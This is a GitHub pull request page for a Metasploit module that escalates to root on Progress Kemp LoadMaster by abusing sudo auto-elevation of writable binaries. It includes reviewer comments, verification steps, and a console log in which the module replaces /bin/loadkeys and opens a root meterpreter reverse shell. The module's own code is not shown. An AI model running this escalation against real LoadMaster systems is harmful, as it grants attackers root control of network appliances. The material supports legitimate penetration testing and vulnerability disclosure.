-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add Kemp Progress Loadmaster sudo abuse priv esc #19100
Add Kemp Progress Loadmaster sudo abuse priv esc #19100
Conversation
modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb
Outdated
Show resolved
Hide resolved
8071197
to
742326a
Compare
modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb
Outdated
Show resolved
Hide resolved
All suggestions on #19150 should be addressed here, too.... |
modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb
Outdated
Show resolved
Hide resolved
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Just left a couple of minor comments. I tested both the dropper and command targets successfully.
modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024.rb
Outdated
Show resolved
Hide resolved
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Changes are looking good now, I'll go ahead and get this landed.
Testing Output
metasploit-framework (S:1 J:0) exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > show options
Module options (exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION -1 yes The session to run this module on
TARGET_BINARY /bin/loadkeys yes The path for a binary file that has permission to auto-elevate.
WRITABLE_DIR /tmp yes A directory where we can write files
Payload options (linux/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.31.129 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Dropper
View the full module info with the info, or info -d command.
metasploit-framework (S:1 J:0) exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > set VERBOSE
VERBOSE => false
metasploit-framework (S:1 J:0) exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > set VERBOSE true
VERBOSE => true
metasploit-framework (S:1 J:0) exploit(linux/local/progress_kemp_loadmaster_sudo_privesc_2024) > run
[*] Started reverse TCP handler on 192.168.31.129:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Found 3 indicators this is a KEMP product
[!] The service is running, but could not be validated.
[*] Writing payload to /tmp/.ihcqxrugkuq
[*] Moving /bin/loadkeys to /tmp/.kfoikqlxhta
[*] Moving /tmp/.ihcqxrugkuq to /bin/loadkeys
[*] Running /bin/loadkeys
[+] Deleted /tmp/.ihcqxrugkuq
[*] Meterpreter session 2 opened (192.168.31.129:4444 -> 192.168.31.135:43420) at 2024-05-10 10:19:37 -0400
[*] Moving /tmp/.kfoikqlxhta to /bin/loadkeys
[+] /bin/loadkeys returned to original contents
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.31.135
OS : SuSE 7.2 (Linux 4.14.137)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > pwd
/
meterpreter >
Release NotesThis adds a privilege escalation exploit module for LoadMaster that abuses the configuration of the |
This adds a privilege escalation module targeting Progress Kemp LoadMaster versions including
7.2.59.2.22338
. The vulnerability lies in the configuration to allowsudo
to auto elevate when run with certain files, but grants the non-root userbal
write permissions to those file. This exploit simply overwrites one of the files that auto-elevates with/bin/bash
and runs a payload within a root-enabled /bin/bash session.Verification
List the steps needed to make sure this thing works
bal
useruse exploits/linux/local/progress_kemp_loadmaster_sudo_privesc_2024
set SESSION <session>
set LHOST <your host IP>
run
root
user.Note
The easiest way to test this is in conjunction with #18972, which this was a part of until we realized that when they patched CVE-2024-1212, they did not patch this.